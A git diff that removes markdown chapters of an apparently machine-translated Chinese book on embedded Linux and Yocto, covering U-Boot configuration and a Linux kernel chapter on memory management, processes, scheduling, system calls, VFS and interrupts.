在本书中,我们倾向于将它们称为第一阶段和第二阶段引导加载程序。 - -`AT91bootstrap`软件包代表可用于其 SOC 的 Atmel 的第一阶段引导加载程序。 它管理硬件初始化,还从内存内的引导介质执行第二阶段引导加载程序下载;它在结束时启动它。 在`meta-atmel`层中,第二阶段引导加载程序是`u-boot`,稍后将其用于 Linux 操作系统引导。 - -通常,在 BSP 层中,会提供对多个开发板的支持,这意味着还会提供多个版本和引导加载程序包。 然而,它们之间的区别在于机器配置的不同。 对于 SAMA5D3 XPlaed 开发板,机器配置在`conf/machine/sama5d3_xplained`文件中提供。 在此文件中,定义了首选的引导加载程序版本、提供程序和配置。 如果这些配置不是`MACHINE`特定的,它们可以很好地在`package`配方中执行。 - -这是`sama5d3_xplained`开发板可用配置的一个示例: - -```sh -PREFERRED_PROVIDER_virtual/bootloader = "u-boot-at91" -UBOOT_MACHINE ?= "sama5d3_xplained_nandflash_config" -UBOOT_ENTRYPOINT = "0x20008000" -UBOOT_LOADADDRESS = "0x20008000" - -AT91BOOTSTRAP_MACHINE ?= "sama5d3_xplained" -``` - -# 摘要 - -在本章中,我们向您介绍了有关引导加载程序的信息,其中重点介绍了 U-Boot 引导加载程序。 我们还讨论了与 U-Boot 交互、移植、调试、引导加载程序的一般信息、U-Boot 替代方案以及嵌入式环境中的引导顺序相关的主题。 还有一个与 Yocto 项目相关的部分,在那里向您介绍了用于支持 BSP 中提供的各种引导加载器的机制。 这一章提供了许多练习,它们使这一主题更加清晰。 - -在下一章中,我们将讨论 Linux 内核、其特性和源代码、模块和驱动程序,以及与 Linux 内核交互所需的大部分信息。 由于您已经了解了 Yocto 项目,我们还将重点介绍 Yocto 项目,以及它如何能够与各种内核版本配合使用,以进行大量的板级和练习。 这将使您更容易理解提供给您的信息。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/04.md b/docs/learn-emb-linux-yocto-proj/04.md deleted file mode 100644 index 2ec2b063..00000000 --- a/docs/learn-emb-linux-yocto-proj/04.md +++ /dev/null @@ -1,822 +0,0 @@ -# 四、Linux 内核 - -在本章中,您不仅将了解 Linux 内核的一般知识,还将了解有关它的具体内容。 本章将从快速介绍 Linux 的历史及其作用开始,然后继续解释它的各种特性。 用于与 Linux 内核源代码交互的步骤将不会被省略。 您将只了解从源代码获取 Linux 内核映像所需的步骤,还将了解移植新的**ARM 机器**意味着什么,以及用于调试通常在使用 Linux 内核源代码时可能出现的各种问题的一些方法。 最后,上下文将切换到 Yocto 项目,以展示如何为给定的机器构建 Linux 内核,以及如何在以后从根文件系统映像集成和使用外部模块。 - -本章将让您了解 Linux 内核和 Linux 操作系统。 如果没有历史部分,这个陈述是不可能的。 Linux 和 UNIX 通常被放在相同的历史背景下,但是尽管 Linux 内核在 1991 年出现,Linux 操作系统很快成为 UNIX 操作系统的替代品,但这两个操作系统是同一家族的成员。 考虑到这一点,UNIX 操作系统的历史不可能是从另一个地方开始的。 这意味着我们需要回到 40 多年前,更准确地说,大约 45 年前到 1969 年,那时丹尼斯·里奇和肯·汤普森开始了 UNIX 的开发。 - -UNIX 的前身是**Multiplexed Information and Computing Service**(**Multics**),这是一个多用户操作系统项目,当时并不处于最佳状态。 由于 Multics 在 1969 年夏天成为贝尔实验室计算机科学研究中心的一个不可行的解决方案,一种文件系统设计诞生了,后来它变成了今天所知的 UNIX。 随着时间的推移,由于其设计和源代码与其一起分发的事实,它被移植到多台机器上。 UNIX 最多产的贡献者是加州大学伯克利分校。 他们还开发了自己的 UNIX 版本,称为**Berkeley Software Distribution**(**BSD**),该版本于 1977 年首次发布。 直到 20 世纪 90 年代,许多公司都开发并提供了自己的 UNIX 发行版,它们的主要灵感来自 Berkeley 或 AT&T。所有这些都帮助 UNIX 成为一个稳定、健壮和强大的操作系统。 在使 UNIX 成为操作系统的强大功能中,可以提到以下几点: - -* UNIX 很简单。 它使用的系统调用的数量减少到只有几百个,而且它们的设计是基本的 -* 在 UNIX 中,所有内容都被视为一个文件,这使得数据和设备的操作变得更简单,并且最大限度地减少了用于交互的系统调用。 -* 更快的进程创建时间和`fork()`系统调用。 -* UNIX 内核和用 C 语言编写的实用程序,以及使其易于移植和访问的属性。 -* 简单而健壮的**进程间通信**(**IPC**)原语有助于创建快速而简单的程序,这些程序只以最佳可用方式完成一件事。 - -如今,UNIX 是一个成熟的操作系统,支持虚拟内存、TCP/IP 网络、按需分页抢占式多处理和多线程等特性。 这些功能分布广泛,从小型嵌入式设备到拥有数百个处理器的系统,不一而足。 它的发展已经超越了 UNIX 是一个研究项目的想法,它已经成为一个通用的、几乎可以满足任何需要的操作系统。 所有这一切都要归功于它优雅的设计和公认的简单性。 它能够在不失去保持简单的能力的情况下进化。 - -Linux 是名为**Minix**的 UNIX 变体的替代解决方案,该变体是为教学目的而创建的操作系统,但它缺乏与系统源代码的轻松交互。 由于 Minix 的许可,对源代码所做的任何更改都不容易集成和分发。 Linus Torvalds 首先开始在终端仿真器上工作,以连接他所在大学的其他 UNIX 系统。 在同一学年内,仿真器演变成了成熟的 UNIX。 1991 年,他将其发布,供所有人使用。 - -Linux 最吸引人的特性之一是它是一个开源操作系统,其源代码可以在 GNU GPL 许可下获得。 在编写 Linux 内核时,Linus Torvalds 使用了 UNIX 操作系统内核变体中提供的最佳设计选择和特性作为灵感的来源。 正是它的执照推动它成为今天的强国。 它雇佣了大量的开发人员,他们帮助进行代码增强、错误修复等工作。 - -今天,Linux 是一个经验丰富的操作系统,能够在多种架构上运行。 它可以在比手表还小的设备上运行,也可以在超级计算机集群上运行。 它是我们这个时代的新感觉,正以一种日益多样化的方式被世界各地的公司和开发者采用。 人们对 Linux 操作系统的兴趣非常浓厚,这不仅意味着多样性,而且还提供了大量的好处,从安全性、新功能、嵌入式解决方案到服务器解决方案选项等等,不一而足。 - -Linux 已经成为一个真正的协作项目,它是由一个庞大的社区在互联网上开发的。 虽然这个项目做了很多改变,但 Linus 仍然是它的创造者和维护者。 变化是我们周围一切事物中一个恒定的因素,这适用于 Linux 和它的维护者,他现在被称为 Greg Kroah-Hartman,现在已经成为它的内核维护者两年了。 似乎在 Linus 出现的那个时期,Linux 内核是一个松散的开发人员社区。 这可能是因为莱纳斯的刺耳言论举世闻名。 自从 Greg 被指定为内核维护者后,这个图像开始逐渐淡出。 我期待着未来的岁月。 - -# Linux 内核的角色 - -Linux 内核拥有令人印象深刻的行代码,是最著名的开放源码项目之一,同时也是可用的最大的开放源码项目之一。 Linux 内核构成了一个帮助硬件接口的软件,它是在每个人的 Linux 操作系统上运行的最低级别的代码。 它用作其他用户空间应用的接口,如下图所述: - -![The role of the Linux kernel](img/image00313.jpeg) - -Linux 内核的主要角色如下: - -* 它提供了一组可移植的硬件和体系结构 API,为用户空间应用提供了使用必要硬件资源的可能性 -* 它有助于管理硬件资源,如 CPU、输入/输出外设和内存 -* 它用于管理并发访问和不同应用对必要硬件资源的使用。 - -为了确保很好地理解前面的角色,一个示例将非常有用。 让我们考虑这样一种情况:在给定的 Linux 操作系统中,许多应用需要访问相同的资源、网络接口或设备。 对于这些元素,内核需要对资源进行多路复用,以确保所有应用都可以访问它。 - -# 深入研究 Linux 内核的特性 - -本节将介绍 Linux 内核中的一些可用特性。 它还将涵盖有关每个功能的信息、如何使用它们、它们代表什么,以及关于每个特定功能的任何其他相关信息。 每个特性的介绍将使您熟悉 Linux 内核中一些可用特性的主要作用,如以及 Linux 内核及其源代码。 - -一般而言,Linux 内核拥有的一些最有价值的特性如下: - -* 稳定性和可靠性 -* 可伸缩性 -* 可移植性和硬件支持 -* 符合标准 -* 各种标准之间的互操作性 -* 模块化 -* 易于编程 -* 社会各界的全面支持 -* 安全 / 抵押品 / 保证 / 证券 - -前面的功能并不构成实际的功能,但在项目的开发过程中起到了帮助作用,至今仍在帮助它。 话虽如此,但还是实现了很多特性,比如快速用户空间互斥锁(Futex)、网络过滤器、简化的强制访问控制内核(SMACK)等等。 这些的完整列表可在[http://en.wikipedia.org/wiki/Category:Linux_kernel_features](http://en.wikipedia.org/wiki/Category:Linux_kernel_features)访问和研究。 - -## 内存映射和管理 - -当讨论 Linux 中的内存时,我们可以将其称为物理内存和虚拟内存。 RAM 内存的分区用于容纳 Linux 内核变量和数据结构,其余内存用于动态分配,如下所述: - -![Memory mapping and management](img/image00314.jpeg) - -物理内存定义了能够维护内存的算法和数据结构,它是由虚拟内存在页面级相对独立地完成的。 这里,每个物理页都有一个与其关联的`struct page`描述符,该描述符用于合并有关该物理页的信息。 每页都定义了一个`struct page`描述符。 此结构的一些字段如下所示: - -* `_count`:这表示页面计数器。 当它达到`0`值时,该页面将被添加到空闲页面列表中。 -* `virtual`:这表示与物理页关联的虚拟地址。 始终映射**ZONE_DMA**和**ZONE_NORMAL**页面,而不总是映射**ZONE_HIGHMEN**页面。 -* `flags`:这表示一组描述页面属性的标志。 - -物理内存的区域以前已经存在。 物理内存被分成具有公共物理地址空间和快速本地内存访问的多个节点。 它们中最小的是**ZONE_DMA**,介于 0 到 16MB 之间。 下一个是**zone_Normal**,它是 16MB 到 896Mb 之间的 LowMem 区域,最大的是**zone_HIGHMEM**,它的大小在 900MB 到 4 GB/64 GB 之间。 此信息在前面和后面的图像中都可见: - -![Memory mapping and management](img/image00315.jpeg) - -虚拟内存同时在用户空间和内核空间中使用。 内存区的分配意味着物理页面的分配以及地址空间区域的分配;这既可以在页表中完成,也可以在操作系统内部可用的内部结构中完成。 页表的使用因体系结构类型的不同而不同。 对于**复杂指令集计算**(**CISC**)体系结构,页表由处理器使用,但在**精简指令集计算**(**RISC**)体系结构上,页表由内核用于页查找和**转换后备缓冲器**(**TLB**)加法操作。 每个区域描述符用于区域映射。 它指定如果区域为只读、写入时复制等,则是否映射该区域以供文件使用。 操作系统使用地址空间描述符来维护高级信息。 - -内存分配在用户空间和内核空间上下文之间是不同的,因为内核空间内存分配不能以简单的方式分配内存。 这种差异主要是由于内核上下文中的错误管理不容易完成,或者至少不是在与用户空间上下文相同的关键字中。 这是本节将与解决方案一起介绍的问题之一,因为它有助于读者理解如何在 Linux 内核上下文中进行内存管理。 - -内核用于内存处理的方法是这里要讨论的第一个主题。 这样做是为了确保您理解内核用来获取内存的方法。 虽然处理器的最小可寻址单元是字节,即**存储器管理单元**(**MMU**),但负责虚拟到物理转换的最小可寻址单元是页。 页面的大小因体系结构不同而不同。 它负责维护系统的页表。 大多数 32 位架构使用 4KB 页面,而 64 位架构通常使用 8KB 页面。 对于 Atmel SAMA5D3-XPlaed 电路板,`struct page`结构定义如下: - -```sh -struct page { - unsigned long flags; - atomic_t _count; - atomic_t _mapcount; - struct address_space *mapping; - void *virtual; - unsigned long debug_flags; - void *shadow; - int _last_nid; - -}; -``` - -这是页面结构中最重要的字段之一。 以为例,`flags`字段表示页面的状态;它保存诸如页面是否脏、是否锁定或处于另一个有效状态等信息。 与此标志关联的值在`include/linux/page-flags-layout.h`头文件中定义。 `virtual`字段表示与页面相关联的虚拟地址,`count`字段表示通常可通过`page_count()`函数间接访问的页面的计数值。 所有其他字段都可以在`include/linux/mm_types.h`头文件中访问。 - -内核将硬件划分为不同的内存区,主要是因为物理内存中有一些页对于许多任务是不可访问的。 例如,有些硬件设备可以执行 DMA。 这些操作是通过仅与物理内存区(简称为`ZONE_DMA`)交互来完成的。 对于 x86 架构,它可以在 0-16 Mb 之间访问。 - -有四个主内存区可用,另外两个不太重要的内存区是在`include/linux/mmzone.h`头文件的内核源代码中定义的。 对于 Atmel SAMA5D3-XPlaed 主板,区域映射也取决于体系结构。 我们定义了以下区域: - -```sh -enum zone_type { -#ifdef CONFIG_ZONE_DMA - /* - * ZONE_DMA is used when there are devices that are not able - * to do DMA to all of addressable memory (ZONE_NORMAL). Then we - * carve out the portion of memory that is needed for these devices. - * The range is arch specific. - * - * Some examples - * - * Architecture Limit - * --------------------------- - * parisc, ia64, sparc <4G - * s390 <2G - * arm Various - * alpha Unlimited or 0-16MB. - * - * i386, x86_64 and multiple other arches - * <16M. - */ - ZONE_DMA, -#endif -#ifdef CONFIG_ZONE_DMA32 - /* - * x86_64 needs two ZONE_DMAs because it supports devices that are - * only able to do DMA to the lower 16M but also 32 bit devices that - * can only do DMA areas below 4G. - */ - ZONE_DMA32, -#endif - /* - * Normal addressable memory is in ZONE_NORMAL. DMA operations can be - * performed on pages in ZONE_NORMAL if the DMA devices support - * transfers to all addressable memory. - */ - ZONE_NORMAL, -#ifdef CONFIG_HIGHMEM - /* - * A memory area that is only addressable by the kernel through - * mapping portions into its own address space. This is for example - * used by i386 to allow the kernel to address the memory beyond - * 900MB. The kernel will set up special mappings (page - * table entries on i386) for each page that the kernel needs to - * access. - */ - ZONE_HIGHMEM, -#endif - ZONE_MOVABLE, - __MAX_NR_ZONES -}; -``` - -有一些分配需要与多个个区域交互。 一个这样的例子是能够使用`ZONE_DMA`或`ZONE_NORMAL`的普通分配。 最好使用`ZONE_NORMAL`,因为它不会干扰直接内存访问,不过当内存完全使用时,内核可能会使用正常情况下使用的区域以外的其他可用区域。 可用的内核是定义每个区域的相关信息的**struct zone**结构。 对于 Atmel SAMA5D3-XPlaed 主板,此结构如下所示: - -```sh -struct zone { - unsigned long watermark[NR_WMARK]; - unsigned long percpu_drift_mark; - unsigned long lowmem_reserve[MAX_NR_ZONES]; - unsigned long dirty_balance_reserve; - struct per_cpu_pageset __percpu *pageset; - spinlock_t lock; - int all_unreclaimable; - struct free_area free_area[MAX_ORDER]; - unsigned int compact_considered; - unsigned int compact_defer_shift; - int compact_order_failed; - spinlock_t lru_lock; - struct lruvec lruvec; - unsigned long pages_scanned; - unsigned long flags; - unsigned int inactive_ratio; - wait_queue_head_t * wait_table; - unsigned long wait_table_hash_nr_entries; - unsigned long wait_table_bits; - struct pglist_data *zone_pgdat; - unsigned long zone_start_pfn; - unsigned long spanned_pages; - unsigned long present_pages; - unsigned long managed_pages; - const char *name; -}; -``` - -正如你所看到的,定义这个结构的区域是一个令人印象深刻的区域。 一些最有趣的字段由`watermark`变量表示,该变量包含定义的区域的高、中和低水位线。 `present_pages`属性表示区域内的个可用页面。 `name`字段表示分区的名称,以及其他字段,例如`lock`字段,这是一种保护分区结构以供同时访问的自旋锁。 在 Atmel SAMA5D3 XPlaed 主板的相应`include/linux/mmzone.h`头文件中可以识别的所有其他字段。 - -有了这些信息,我们就可以继续前进,了解内核是如何实现内存分配的。 通常,内存分配和内存交互所需的所有可用函数都在`linux/gfp.h`头文件中。 其中一些功能包括: - -```sh -struct page * alloc_pages(gfp_t gfp_mask, unsigned int order) -``` - -此函数用于在连续位置分配物理页面。 最后,如果分配成功,则由第一页结构的指针表示返回值,如果出现错误,则由`NULL`表示: - -```sh -void * page_address(struct page *page) -``` - -此函数用于获取相应内存页的逻辑地址: - -```sh -unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order) -``` - -此函数类似于`alloc_pages()`函数,但不同之处在于`struct page * alloc_page(gfp_t gfp_mask)`返回参数中提供了返回变量: - -```sh -unsigned long __get_free_page(gfp_t gfp_mask) -struct page * alloc_page(gfp_t gfp_mask) -``` - -前面两个函数是类似函数的封装器,不同之处在于该函数只返回一个页面信息。 此函数的顺序具有`zero`值: - -```sh -unsigned long get_zeroed_page(unsigned int gfp_mask) -``` - -前面的函数如其名称所示。 它返回充满`zero`值的页面。 此函数与`__get_free_page()`函数的不同之处在于,释放后,页面将填充`zero`值: - -```sh -void __free_pages(struct page *page, unsigned int order) -void free_pages(unsigned long addr, unsigned int order) -void free_page(unsigned long addr) -``` - -前面的函数用于释放给定的已分配页面。 页面的传递应该小心,因为内核无法检查提供给它的信息。 - -### 页面缓存和页面回写 - -通常磁盘比物理内存慢,这是内存比磁盘存储更受欢迎的原因之一。 这同样适用于处理器的高速缓存级别:它离处理器越近,I/O 访问就越快。 将数据从磁盘移动到物理内存的过程称为**页缓存**。 逆过程被定义为**页写回**。 这这两个概念将在这一小节中介绍,但它主要是关于内核上下文的吗? - -内核第一次调用`read()`系统调用时,会验证数据是否存在于页缓存中。 在 RAM 中找到页面的过程称为**缓存命中**。 如果在那里不可用,则需要从磁盘读取数据,此过程称为**高速缓存未命中**。 - -当内核发出**Write()**系统调用时,与此系统调用相关的缓存交互有多种可能。 最简单的方法是不缓存写系统调用操作,只将数据保存在磁盘中。 这种情况称为**无写缓存**。 当写入操作同时更新物理存储器和磁盘数据时,该操作称为**直写式高速缓存**。 第三个选项由**回写高速缓存**表示,其中页面被标记为脏。 它会被添加到脏列表中,随着时间的推移,它会被放到磁盘上并标记为不脏。 DIRESS 关键字的最佳同义词由 SYNCHRONED 关键字表示。 - -### 进程地址空间 - -除了自己的物理内存外,内核还负责用户空间进程和内存管理。 分配给每个用户空间进程的内存称为**进程地址空间**,它包含给定进程可寻址的虚拟内存。 它还包含进程在与虚拟内存交互时使用的相关地址。 - -通常,进程接收平面 32 位或 64 位地址空间,其大小取决于体系结构类型。 然而,有些操作系统分配**分段地址空间**。 为线程提供了在操作系统之间共享地址空间的可能性。 虽然一个进程可以访问很大的内存空间,但它通常只有权访问一段内存。 这称为,称为**内存区**,这意味着进程只能访问位于可行内存区内的内存地址。 如果它以某种方式试图管理其有效内存区之外的内存地址,内核将通过*分段故障*通知终止该进程。 - -存储器区域包含以下内容: - -* `text`部分映射源代码 -* `data`部分映射初始化的全局变量 -* `bss`部分映射未初始化的全局变量 -* `zero page`部分用于处理用户空间堆栈 -* `shared libraries text`、`bss`和特定于数据的部分 -* 映射的文件 -* 匿名内存映射通常与函数链接,如`malloc()` -* 共享内存段 - -进程地址空间是通过**内存描述符**在 Linux 内核源内部定义的。 此结构称为`struct mm_struct`,它定义在`include/linux/mm_types.h`头文件中,包含与进程地址空间相关的信息,如使用地址空间的进程数、内存区列表、最后使用的内存区、可用内存区的数量、代码、数据、堆和堆栈节的开始和结束地址。 - -对于内核线程,没有关联的进程地址空间;对于内核,进程描述符结构定义为`NULL`。 这样,内核就会提到内核线程没有用户上下文。 内核线程只能访问与所有其他进程相同的内存。 内核线程在用户空间中没有任何页面,也没有对用户空间内存的访问权。 - -由于处理器只使用物理地址,因此需要在物理内存和虚拟内存之间进行转换。 这些操作由页表完成,页表将虚拟地址拆分成较小的组件,并带有用于指向目的的关联索引。 通常,在大多数可用的主板和体系结构中,页表查找都是由硬件处理的;内核负责设置页表。 - -## 流程管理 - -如前所述,进程是 Linux 操作系统中的基本单元,同时也是一种抽象形式。 事实上,它是一个正在执行的程序,但程序本身并不是一个过程。 它需要处于活动状态,并且具有关联的资源。 进程可以通过使用`fork()`函数成为父进程,这将生成子进程。 父进程和子进程都位于不同的地址空间中,但它们具有相同的内容。 `exec()`系列函数能够执行不同的程序,创建地址空间,并将其加载到该地址空间中。 - -当使用`fork()`时,将为子进程再现父进程拥有的资源。 该函数以一种非常有趣的方式实现;它使用`clone()`系统调用,在其基础上包含`copy_process()`函数。 此函数执行以下操作: - -* 调用`dup_task_struct()`函数以创建新的内核堆栈。 `task_struct`和`thread_info`结构是为新工艺创建的。 -* 检查该子对象是否未超出内存区的限制。 -* 子进程与其父进程不同。 -* 它被设置为`TASK_UNINTERRUPTIBLE`以确保它不运行。 -* 更新标志。 -* `PID`与子进程相关联。 -* 检查已经设置的标志,并针对它们的值执行适当的操作。 -* 当获得子进程指针时,在结束时执行清理进程。 - -Linux 中的线程与进程非常相似。 它们被视为共享各种资源(如内存地址空间、打开的文件等)的进程。 线程的创建类似于普通任务,不同之处在于`clone()`函数,该函数传递提及共享资源的标志。 例如,克隆函数调用的线程是`clone(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND, 0)`,而普通的 fork 看起来类似于`clone(SIGCHLD, 0)`。 - -内核线程的概念是作为涉及在内核上下文背景中运行的任务的问题的解决方案出现的。 内核线程没有地址空间,只能在内核上下文中使用。 它具有与普通进程相同的属性,但仅用于特殊任务,如`ksoftirqd`、`flush`等。 - -在执行结束时,需要终止进程,以便可以释放资源,并且需要通知正在执行的进程的父进程。 最常用于终止进程的方法是通过调用`exit()`系统调用来完成的。 此过程需要执行多个步骤: - -1. 设置`PF_EXITING`标志。 -2. 调用`del_timer_sync()`函数来删除内核计时器。 -3. 写入记账和记录信息时调用`acct_update_integrals()`函数。 -4. 调用`exit_mm()`以释放进程的`mm_struct`结构。 -5. 调用`exit_sem()`将进程从 IPC 信号量中出列。 -6. 调用`exit_files()`和`exit_fs()`函数来删除指向各种文件描述符的链接。 -7. 应设置任务退出代码。 -8. 调用`exit_notify()`通知父级并将任务退出状态设置为`EXIT_ZOMBIE`。 -9. 调用`schedule()`切换到新进程。 - -执行完上述步骤后,与此任务关联的对象将被释放,并且它将变得不可运行。 它的记忆仅作为其父代的信息而存在。 在其父内存声明此信息对其没有用处后,将释放此内存供系统使用。 - -## 进程调度 - -进程调度器决定为可运行进程分配哪些资源。 它是一款软件,负责多任务处理,为各种进程分配资源,并决定如何最好地设置资源和处理器时间。 它还决定接下来应该运行哪些进程。 - -Linux 调度器的第一个设计非常简单。 当进程数量增加时,它无法正确扩展,因此从 2.5 内核版本开始,开发了一个新的调度器。 它称为,称为**O(1)调度器**,并提供用于时间片计算的恒定时间算法和基于每个处理器定义的运行队列。 尽管它非常适合大型服务器,但它不是普通桌面系统的最佳解决方案。 从 2.6 内核版本开始,对 O(1)调度器进行了改进,比如公平调度的概念后来从内核版本 2.6.23 变成了**完全公平调度器**(**CFS**),成为事实上的调度器。 - -CFC 背后有一个简单的想法。 它的行为就像我们有一个完美的多任务处理器,其中每个进程获得处理器时间的`1/n`片,而这个时间片非常小。 `n`值表示正在运行的进程数。 Con Kolivas 是为公平调度实现做出贡献的澳大利亚程序员,也被称为**旋转楼梯截止日期调度器**(**RSDL**)。 它的实现需要一个用于自平衡优先级的红黑树,以及一个在纳秒级别计算的时间片。 与 O(1)调度器类似,CFS 应用了权重的概念,这意味着某些进程比其他进程等待的时间更长。 这是基于加权公平排队算法的。 - -进程调度程序构成了 Linux 内核最重要的组件之一,因为它通常定义了用户与操作系统的交互。 Linux 内核 CFS 是吸引开发人员和用户的调度器,因为它以最合理的方式提供了可伸缩性和性能。 - -## 系统调用 - -对于要与系统交互的进程,应该提供一个接口,以使用户空间应用能够与硬件和其他`processes.System`调用进行交互。 它们用作硬件和用户空间之间的接口。 一般而言,它们还用于确保稳定性、安全性和抽象性。 这些是与陷阱和异常一起构成内核入口点的通用层,如下所述: - -![System calls](img/image00316.jpeg) - -与 Linux 系统内可用的大多数系统调用的交互是使用 C 库完成的。 它们能够定义许多参数,并返回一个显示它们是否成功的值。 值`zero`通常意味着执行以成功结束,如果出现错误,`errno`变量中将提供错误代码。 系统调用完成后,将执行以下步骤: - -1. 切换到内核模式。 -2. 消除了对内核空间访问的任何限制。 -3. 来自用户空间的堆栈被传递到内核空间。 -4. 来自用户空间的任何参数都会被检查并复制到内核空间。 -5. 识别并运行系统调用的关联例程。 -6. 切换到用户空间,继续执行应用。 - -系统调用有一个与之关联的`syscall`号,这是一个唯一的号码,用作不可更改的系统调用的引用(不可能实现系统调用)。 在``头文件中提供了每个系统调用号的符号常量。 要检查系统调用是否存在,可以使用`sys_ni_syscall()`,它为无效的系统调用返回`ENOSYS`错误。 - -## 虚拟文件系统 - -Linux 操作系统能够支持多种文件系统选项。 这是由于**虚拟文件系统**(**VFS**)的存在,它能够为大量文件系统类型提供公共接口并处理与它们相关的系统调用。 - -VFS 支持的文件系统类型可以分为以下三类: - -* **基于磁盘的文件系统**:它们管理本地磁盘或用于磁盘仿真的设备上的内存。 其中一些最广为人知的例子是: - * Linux 文件系统,例如第二扩展文件系统(Ext2)、第三扩展文件系统(Ext3)和第四扩展文件系统(Ext4) - * UNIX 文件系统,如 sysv 文件系统、ufs、Minix 文件系统等 - * Microsoft 文件系统,如 MS-DOS、NTFS(从 Windows NT 开始提供)和 VFAT(从 Windows 95 开始提供) - * ISO966 CD-ROM 文件系统和磁盘格式 DVD 文件系统 - * 专有文件系统,例如来自 Apple、IBM 和其他公司的文件系统 -* **网络文件系统**:允许它们通过网络访问其他计算机上的各种文件系统类型。 最广为人知的之一是 NFS。 当然,还有其他的,但他们没有那么出名。 其中包括**Andrew 文件系统**(**AFS**)、**Novel 的 NetWare 核心协议**(**NCP**)、**恒定数据可用性**(**Coda**)等等。 -* **特殊文件系统**:`/proc`文件系统是这类文件系统的完美示例。 这种类型的文件系统使系统应用能够更容易地访问内核的数据结构并实现各种功能。 - -虚拟文件系统系统调用实现在下图中进行了很好的总结: - -![The virtual file system](img/image00317.jpeg) - -在前面的图中,可以看到从一种文件系统类型到另一种文件系统类型处理副本是多么容易。 它只使用可用于所有其他文件系统交互的基本`open()`、`close()`、`read()`、`write()`函数。 但是,它们都实现了所选文件系统的底层特定功能。 例如,`open()`系统调用`sys_open()`,它接受与`open()`相同的参数并返回相同的结果。 `sys_open()`和`open()`之间的区别在于`sys_open()`是一个更宽松的函数。 - -其他三个系统调用都有内部调用的相应`sys_read()`、`sys_write()`和`sys_close()`函数。 - -# 中断 - -中断是改变处理器执行的指令序列的事件的表示。 中断意味着由硬件生成的电信号,用于通知已经发生的事件,例如按键、复位等。 中断根据其参考系统分为更多类别,如下所示: - -* 软件中断:这些通常是从外部设备和用户空间程序触发的异常[T1 -* 硬件中断:这些是来自系统的信号,通常指示处理器特定指令 - -Linux 中断处理层通过全面的 API 函数为各种设备驱动程序提供了中断处理的抽象。 它用于请求、启用、禁用和释放中断,确保在多个平台上保证可移植性。 它处理所有可用的中断控制器硬件。 - -通用中断处理使用`__do_IRQ()`处理程序,该处理程序能够处理所有可用的中断逻辑类型。 处理层分为两个组件: - -* 上半部分组件用于响应中断 -* 下半部分组件由上半部分安排在稍后运行 - -它们之间的区别是所有可用中断都被允许在下半部分上下文中动作。 这有助于上半部分在下半部分工作时响应另一个中断,这意味着它能够将其数据保存在特定的缓冲区中,并且它允许下半部分在安全的环境中操作。 - -对于下半部处理,有四种定义的机制可用: - -* **软中断** -* **微线程** -* **工作队列** -* **内核线程** - -下面很好地介绍了可用的机制: - -![Interrupts](img/image00318.jpeg) - -尽管上半部分和下半部分中断机制的模型看起来很简单,但它有一个非常复杂的函数调用机制模型。 此示例显示了 ARM 体系结构的这一事实: - -![Interrupts](img/image00319.jpeg) - -对于中断的上半部分组件,中断源代码中有三个抽象级别。 第一个是具有`request_irq()`、`free_irq`、`disable_irq()`、`enable_irq()`等功能的高级驱动程序 API。 第二个由高级 IRQ 流处理程序表示,这是一个通用层,具有预定义的或特定于体系结构的中断流处理程序,用于在设备初始化或引导时响应各种中断。 它定义了许多预定义函数,如`handle_level_irq()`、`handle_simple_irq()`、`handle_percpu_irq()`等。 第三种是芯片级硬件封装。 它定义了`struct irq_chip`结构,该结构保存 IRQ 流实现中使用的与芯片相关的函数。 其中一些函数是`irq_ack()`、`irq_mask()`和`irq_unmask()`。 - -需要一个模块来注册中断通道,然后将其释放。 支持的请求总数从`0`值到 IRQ-1 的数量计算。 此信息位于`` 头文件中。 注册完成后,处理程序标志将传递给`request_irq()`函数,以指定中断处理程序的类型,如下所示: - -* `SA_SAMPLE_RANDOM`:这表明中断可以通过采样不可预测的事件(如鼠标移动、按键间时间、磁盘中断等)来贡献熵池,即具有具有很强随机性的位的池 -* `SA_SHIRQ`:这表明中断可以在设备之间共享。 -* `SA_INTERRUPT`:这表示快速中断处理程序,因此在当前处理器上禁用中断-这并不代表非常理想的情况 - -## 下半部 - -将讨论的关于下半部分中断处理的第一种机制由`softirqs`表示。 它们很少使用,但可以在`kernel/softirq.c`文件中的 Linux 内核源代码中找到。 当涉及到实现时,它们是在编译步骤静态分配的。 它们是在`include/linux/interrupt.h`头文件中添加条目时创建的,并且它们提供的系统信息在/`proc/softirqs`文件中可用。 虽然不经常使用,但它们可以在异常、中断、系统调用之后执行,也可以在调度程序运行`ksoftirkd`守护进程时执行。 - -列表中的下一个是微线程。 尽管它们构建在`softirqs`之上,但它们更常用于下半部分中断处理。 以下是这样做的一些原因: - -* 他们跑得很快 -* 它们可以动态创建和销毁 -* 它们有原子代码和非阻塞代码 -* 它们在软中断上下文中运行 -* 它们在预定的同一处理器上运行 - -Tasklet 有一个**struct tasklet_struct**结构可用。 这些在`include/linux/interrupt.h`头文件中也可用,并且与`softirqs`不同,微线程是不可重入的。 - -列表中的第三个是工作队列,与前面提出的机制相比,它们代表了一种不同形式的执行分配的工作。 主要区别如下: - -* 它们可以在多个 CPU 上同时运行 -* 他们被允许睡觉 -* 它们在流程上下文中运行 -* 它们可以被调度或抢占 - -尽管它们的延迟可能比微线程稍大一些,但前面的这些特性确实很有用。 微线程围绕`struct workqueue_struct`结构构建,可在`kernel/workqueue.c`文件中使用。 - -最后也是最新添加到下半部分机制选项的是内核线程,它们完全在内核模式下操作,因为它们是由内核创建/销毁的。 它们出现在 2.6.30 内核发布期间,并且还具有与工作队列相同的优势,以及一些额外的特性,比如拥有自己的上下文的可能性。 预计内核线程最终将取代工作队列和微线程,因为它们类似于用户空间线程。 驱动程序可能希望请求线程中断处理程序。 在这种情况下,它所需要做的就是以类似于`request_irq()`的方式使用`request_threaded_irq()`。 函数`request_threaded_irq()`提供了传递处理程序的可能性,`thread_fn`提供了将中断处理代码分成两部分的可能性。 除此之外,还会调用`quick_check_handler`来检查中断是否是从设备调用的;如果是这样,它将需要调用`IRQ_WAKE_THREAD`来唤醒处理程序线程并执行`thread_fn`。 - -## 执行内核同步的方法 - -内核正在处理的请求数量与服务器必须接收的请求数量相提并论。 这种情况可以处理竞争条件,因此需要一个好的同步方法。 通过定义内核控制路径,可以使用许多策略来控制内核的行为方式。 以下是内核控制路径的示例: - -![Methods to perform kernel synchronization](img/image00320.jpeg) - -上图清楚地说明了为什么需要同步。 例如,当多个内核控制路径相互链接时,可能会出现争用情况。 